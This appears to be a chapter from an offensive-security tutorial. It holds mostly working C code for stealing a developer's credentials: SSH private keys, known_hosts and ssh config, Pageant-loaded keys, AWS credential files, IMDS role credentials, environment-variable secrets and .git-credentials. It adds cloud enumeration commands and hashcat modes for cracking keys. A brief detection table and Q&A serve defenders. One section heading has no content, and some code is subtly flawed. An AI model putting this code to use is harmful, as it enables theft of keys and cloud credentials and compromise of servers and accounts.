SSH and Cloud Credential Theft
Stealing SSH private keys, hijacking Pageant agent sessions, extracting AWS/Azure/GCP credentials from disk and the Instance Metadata Service, and scraping environment variables and .env files
A developer's Windows workstation has WSL2 running, PuTTY Pageant in the system tray, AWS CLI configured, and a dozen repositories cloned locally. The developer has SSH access to 30 production Linux servers, admin access to the AWS account, and has saved their Azure token from a previous az login. Each of these credential stores requires a different theft technique — SSH private keys, Pageant agent socket hijacking, AWS credential files, IMDS metadata service calls, Azure token cache files, and .env files scattered across git repos. This chapter covers all of them.
SSH Private Key Theft — File System
SSH private keys are stored as PEM files in well-known locations. On Windows: %USERPROFILE%\.ssh\. On Linux: ~/.ssh/. WSL2 on Windows stores them in \\wsl$\Ubuntu\home\username\.ssh\. Walk these paths and extract any files starting with common key names:
#include <windows.h>
#include <stdio.h>
// Common SSH key filenames
static const char *SSH_KEY_NAMES[] = {
"id_rsa", "id_ecdsa", "id_ed25519", "id_dsa",
"id_rsa.ppk", "*.pem", "*.ppk", NULL
};
void ExfilSSHKey(const char *path) {
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;
DWORD size = GetFileSize(hFile, NULL);
if (size > 8192) { CloseHandle(hFile); return; } // sanity check
char *buf = (char*)malloc(size + 1);
DWORD read;
ReadFile(hFile, buf, size, &read, NULL);
buf[read] = 0;
CloseHandle(hFile);
// Look for PEM header to confirm it's actually a private key
if (strstr(buf, "-----BEGIN") && strstr(buf, "PRIVATE KEY")) {
printf("[+] SSH PRIVATE KEY: %s\n", path);
printf("%s\n", buf);
// Check if passphrase-protected
if (strstr(buf, "ENCRYPTED") || strstr(buf, "Proc-Type:")) {
printf(" [!] Key is passphrase-protected — need to crack\n");
printf(" hashcat -m 22921 (ed25519) / -m 22911 (RSA)\n");
} else {
printf(" [!] Key is UNPROTECTED — ready to use\n");
}
}
free(buf);
}
void StealSSHKeys() {
char userProfile[MAX_PATH];
GetEnvironmentVariableA("USERPROFILE", userProfile, MAX_PATH);
char sshDir[MAX_PATH];
_snprintf_s(sshDir, MAX_PATH, _TRUNCATE, "%s\\.ssh", userProfile);
// Walk .ssh directory looking for key files
WIN32_FIND_DATAA fd;
char pattern[MAX_PATH];
_snprintf_s(pattern, MAX_PATH, _TRUNCATE, "%s\\*", sshDir);
HANDLE hFind = FindFirstFileA(pattern, &fd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
char fullPath[MAX_PATH];
_snprintf_s(fullPath, MAX_PATH, _TRUNCATE, "%s\\%s", sshDir, fd.cFileName);
ExfilSSHKey(fullPath);
} while (FindNextFileA(hFind, &fd));
FindClose(hFind);
// WSL2 path — accessible from Windows via UNC
printf("[*] Checking WSL2 SSH keys...\n");
char wslPattern[] = "\\\\wsl$\\*\\home\\*\\.ssh\\id_*";
// For WSL2: enumerate \\wsl$\ network mounts and walk similarly
}
known_hosts — Network Topology Intelligence
The ~/.ssh/known_hosts file is gold for network reconnaissance. It lists every SSH server the user has ever connected to, with hostname or IP and the server's public key fingerprint:
void ParseKnownHosts() {
char userProfile[MAX_PATH];
GetEnvironmentVariableA("USERPROFILE", userProfile, MAX_PATH);
char path[MAX_PATH];
_snprintf_s(path, MAX_PATH, _TRUNCATE, "%s\\.ssh\\known_hosts", userProfile);
FILE *f = fopen(path, "r");
if (!f) return;
printf("[+] SSH known_hosts (network topology):\n");
char line[4096];
while (fgets(line, sizeof(line), f)) {
if (line[0] == '#' || line[0] == '\n') continue;
// Each line: hostname key-type base64-key
// Hashed hosts start with |1| — hash of hostname (privacy feature)
// Unhashed: hostname/IP is visible in plaintext
printf(" %s", line); // trim in production
}
fclose(f);
// Also check config file for ProxyJump and IdentityFile paths
_snprintf_s(path, MAX_PATH, _TRUNCATE, "%s\\.ssh\\config", userProfile);
f = fopen(path, "r");
if (f) {
printf("\n[+] SSH config (hosts, jump servers, key paths):\n");
while (fgets(line, sizeof(line), f))
printf(" %s", line);
fclose(f);
}
}
Pageant SSH Agent Hijacking (Windows)
PuTTY's Pageant stores decrypted SSH private keys in memory and listens on a named pipe / shared memory window for authentication requests. Any process running as the same user can request signing operations from Pageant — meaning you can use the loaded keys without ever seeing the private key bytes:
// Simplified Pageant key listing and signing request
#define AGENT_MAX_MSGLEN 262144
#define SSH2_AGENTC_REQUEST_IDENTITIES 11
#define SSH2_AGENT_IDENTITIES_ANSWER 12
BOOL PageantListKeys() {
HWND pageantWindow = FindWindowA("Pageant", "Pageant");
if (!pageantWindow) {
printf("[-] Pageant not running\n");
return FALSE;
}
printf("[+] Pageant found: HWND=0x%p\n", pageantWindow);
char mapName[64];
_snprintf_s(mapName, 64, _TRUNCATE, "PageantRequest%08x", GetCurrentThreadId());
HANDLE hMap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL,
PAGE_READWRITE, 0, AGENT_MAX_MSGLEN, mapName);
if (!hMap) return FALSE;
BYTE *buf = (BYTE*)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0);
// Build SSH2_AGENTC_REQUEST_IDENTITIES (list all loaded keys)
// Format: uint32 length, uint8 type
buf[0] = 0; buf[1] = 0; buf[2] = 0; buf[3] = 1; // length = 1
buf[4] = SSH2_AGENTC_REQUEST_IDENTITIES;
// Send WM_COPYDATA to Pageant with the file mapping info
COPYDATASTRUCT cds;
cds.dwData = 0x804e5857; // "XWin" magic for Pageant
cds.cbData = strlen(mapName) + 1;
cds.lpData = mapName;
SendMessageA(pageantWindow, WM_COPYDATA, 0, (LPARAM)&cds);
// Read response: SSH2_AGENT_IDENTITIES_ANSWER
// Format: uint32 len, uint8 type, uint32 num_keys,
// [uint32 key_blob_len, bytes key_blob, uint32 comment_len, bytes comment] * N
DWORD respLen = ((DWORD)buf[0] << 24) | ((DWORD)buf[1] << 16) |
((DWORD)buf[2] << 8) | buf[3];
if (buf[4] == SSH2_AGENT_IDENTITIES_ANSWER) {
DWORD numKeys = ((DWORD)buf[5] << 24) | ((DWORD)buf[6] << 16) |
((DWORD)buf[7] << 8) | buf[8];
printf("[+] Pageant has %lu key(s) loaded\n", numKeys);
// Parse key blobs from buf[9...] — extract comments as key identifiers
}
UnmapViewOfFile(buf);
CloseHandle(hMap);
return TRUE;
}
AWS Credential Files
AWS CLI stores credentials in %USERPROFILE%\.aws\credentials (INI format) and configuration in %USERPROFILE%\.aws\config. These contain access key IDs and secret access keys with the permissions of the IAM user — often an admin or developer with broad cloud access:
void StealAWSCredentials() {
char awsPath[MAX_PATH];
GetEnvironmentVariableA("USERPROFILE", awsPath, MAX_PATH);
const char *files[] = { "\\.aws\\credentials", "\\.aws\\config", NULL };
for (int i = 0; files[i]; i++) {
char path[MAX_PATH];
_snprintf_s(path, MAX_PATH, _TRUNCATE, "%s%s", awsPath, files[i]);
FILE *f = fopen(path, "r");
if (!f) continue;
printf("\n[+] AWS file: %s\n", path);
char line[512];
while (fgets(line, sizeof(line), f)) {
// Filter for keys
if (strstr(line, "aws_access_key_id") ||
strstr(line, "aws_secret_access_key") ||
strstr(line, "aws_session_token") ||
line[0] == '[') { // profile names
printf(" %s", line);
}
}
fclose(f);
}
}
/* Example credentials file content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[production]
aws_access_key_id = AKIAI44QH8DHBEXAMPLE
aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
Validate and enumerate permissions:
aws sts get-caller-identity --profile production ← who am I
aws iam list-attached-user-policies --user-name $user
aws iam list-groups-for-user --user-name $user
aws s3 ls --profile production ← enumerate S3 buckets
aws ec2 describe-instances --profile production ← enumerate EC2
aws secretsmanager list-secrets --profile production ← secrets in Secrets Manager
*/
IMDS Credential Theft — EC2 and Azure
When your malware runs inside a cloud VM, the Instance Metadata Service (IMDS) exposes temporary credentials with the role attached to the instance. These are accessible via HTTP from within the instance, no authentication required:
/* AWS EC2 IMDSv1 (no token required — vulnerable old style)
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ returns role name
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
→ returns JSON with AccessKeyId, SecretAccessKey, Token, Expiration */
// PowerShell / WinHTTP equivalent:
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
void FetchIMDSCredentials() {
// IMDSv1: direct HTTP GET (no token needed)
HINTERNET hSession = WinHttpOpen(L"IMDS/1.0", WINHTTP_ACCESS_TYPE_NO_PROXY,
NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"169.254.169.254",
INTERNET_DEFAULT_HTTP_PORT, 0);
// Step 1: get role name
HINTERNET hReq = WinHttpOpenRequest(hConnect, L"GET",
L"/latest/meta-data/iam/security-credentials/",
NULL, NULL, NULL, 0);
WinHttpSendRequest(hReq, NULL, 0, NULL, 0, 0, 0);
WinHttpReceiveResponse(hReq, NULL);
char roleName[256] = {0};
DWORD read;
WinHttpReadData(hReq, roleName, sizeof(roleName)-1, &read);
printf("[+] EC2 IAM Role: %s\n", roleName);
WinHttpCloseHandle(hReq);
// Step 2: get credentials JSON for the role
wchar_t credPath[512];
_snwprintf_s(credPath, 512, _TRUNCATE,
L"/latest/meta-data/iam/security-credentials/%hs", roleName);
hReq = WinHttpOpenRequest(hConnect, L"GET", credPath, NULL, NULL, NULL, 0);
WinHttpSendRequest(hReq, NULL, 0, NULL, 0, 0, 0);
WinHttpReceiveResponse(hReq, NULL);
char credsJson[4096] = {0};
WinHttpReadData(hReq, credsJson, sizeof(credsJson)-1, &read);
printf("[+] EC2 IMDS Credentials:\n%s\n", credsJson);
// Parse JSON: AccessKeyId, SecretAccessKey, Token — use with AWS SDK
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
/* Azure Instance Metadata Service:
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header: Metadata: true
→ returns access_token (JWT), expires_in, etc.
Use the token: Authorization: Bearer <token> in ARM API calls */
/* GCP Instance Metadata Service:
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
→ returns access_token for the service account bound to the instance */
Environment Variable Secrets
void ScrapeEnvironmentSecrets() {
// Keywords that indicate secrets in environment variables
const char *keywords[] = {
"SECRET", "API_KEY", "TOKEN", "PASSWORD", "PASSWD",
"CREDENTIALS", "PRIVATE", "ACCESS_KEY", "AUTH",
"DATABASE_URL", "DB_PASS", "PGPASSWORD", "MYSQL_PASSWORD",
"AWS_SECRET", "AZURE_CLIENT_SECRET", "GITHUB_TOKEN", NULL
};
LPCH envBlock = GetEnvironmentStrings();
LPCH current = envBlock;
printf("[+] Environment variable secrets:\n");
while (*current) {
char upper[2048];
_strupr_s(upper, sizeof(upper));
strncpy_s(upper, sizeof(upper), current, _TRUNCATE);
_strupr_s(upper, sizeof(upper));
for (int k = 0; keywords[k]; k++) {
if (strstr(upper, keywords[k])) {
printf(" [!] %s\n", current);
break;
}
}
current += strlen(current) + 1;
}
FreeEnvironmentStrings(envBlock);
}
Azure / AAD Token Cache Files
Git Config and .env Files
void StealGitAndEnvSecrets() {
char userProfile[MAX_PATH];
GetEnvironmentVariableA("USERPROFILE", userProfile, MAX_PATH);
// Global git config — may contain stored credentials (credential.helper=store)
// Stored credentials: %USERPROFILE%\.git-credentials (plaintext https://user:password@github.com)
char gitCreds[MAX_PATH];
_snprintf_s(gitCreds, MAX_PATH, _TRUNCATE, "%s\\.git-credentials", userProfile);
FILE *f = fopen(gitCreds, "r");
if (f) {
printf("[+] Git stored credentials (.git-credentials):\n");
char line[512];
while (fgets(line, sizeof(line), f))
printf(" %s", line); // Format: https://user:password@github.com
fclose(f);
}
/* Recursive .env file search across common developer directories
Pattern: search Documents, Desktop, source, repos, projects, dev
Look for: .env, .env.local, .env.production, .env.development
These often contain: DATABASE_URL, API keys, JWT secrets, OAuth secrets */
const char *searchDirs[] = { "\\Documents", "\\source", "\\repos",
"\\projects", "\\dev", NULL };
for (int i = 0; searchDirs[i]; i++) {
char dirPath[MAX_PATH];
_snprintf_s(dirPath, MAX_PATH, _TRUNCATE, "%s%s", userProfile, searchDirs[i]);
// RecursiveSearch(dirPath, ".env*") — walk directory tree
}
}
Detection
| Signal | Source | Notes |
|---|---|---|
| Unusual process reading files in %USERPROFILE%\.ssh\ | File system audit / EDR | Legitimate readers: ssh.exe, git.exe, putty.exe, winscp.exe — anything else is suspicious |
| HTTP GET to 169.254.169.254 from unexpected process | Network monitoring / EDR | IMDS should only be queried by cloud agent software and known SDKs, not custom binaries |
| Process creating file mappings named "PageantRequest*" | EDR / object access | Only SSH clients use this Pageant protocol; new process names are high-fidelity |
| Read access to %USERPROFILE%\.aws\credentials | File audit | Should only be read by aws.exe, boto3 (python), AWS SDK processes |
| Read access to %USERPROFILE%\.azure\msal_token_cache.json | File audit | Should only be read by az.cmd, Azure PowerShell, and Azure SDK processes |
Q&A
How does IMDSv2 stop the credential theft technique?
IMDSv2 (required by AWS since 2024 for new instances, optional enforcement for old ones) adds a two-step flow: before making any metadata request, the client must first PUT to http://169.254.169.254/latest/api/token with the header X-aws-ec2-metadata-token-ttl-seconds: 21600. The IMDS returns a one-time session token. All subsequent requests must include X-aws-ec2-metadata-token: <token>. This defense works against Server-Side Request Forgery (SSRF) attacks where an attacker tricks an application on the EC2 instance into making HTTP GET requests to 169.254.169.254 — GET requests don't get a token and fail. It does NOT protect against local malware running on the instance, because malware can perform the PUT request just as easily as the GET. If your malware already executes on the EC2 instance, you can do the PUT first, get the session token, then make the credential request with the token — the full flow takes two HTTP calls. IMDSv2 is primarily a SSRF defense, not a malware defense. For malware scenarios, the attack is unchanged.
Can you use stolen cloud credentials even after the victim rotates them?
Static credentials (AWS Access Key ID + Secret Access Key) are invalidated immediately when rotated — the old key pair stops working as soon as the new one is created and the old one is deactivated. Session tokens (IMDS-derived STS credentials, assume-role tokens) have a TTL (typically 1-12 hours) and remain valid until expiration regardless of rotation — rotation of the underlying IAM user's static credentials doesn't invalidate existing session tokens. For Azure, the MSAL refresh token from the token cache file has a longer lifetime (90 days for standard accounts, potentially indefinite for persistent refresh tokens). Revoking a refresh token requires explicitly invalidating all sessions via the Azure portal or revoking the token in Entra ID — just changing the user's password doesn't always invalidate existing refresh tokens depending on the tenant's conditional access configuration. The most persistent cloud credentials are OAuth refresh tokens: they survive password resets in many configurations and require explicit revocation. Defenders should monitor for sign-ins from unusual IPs/devices as the stolen token is reused from the attacker's infrastructure.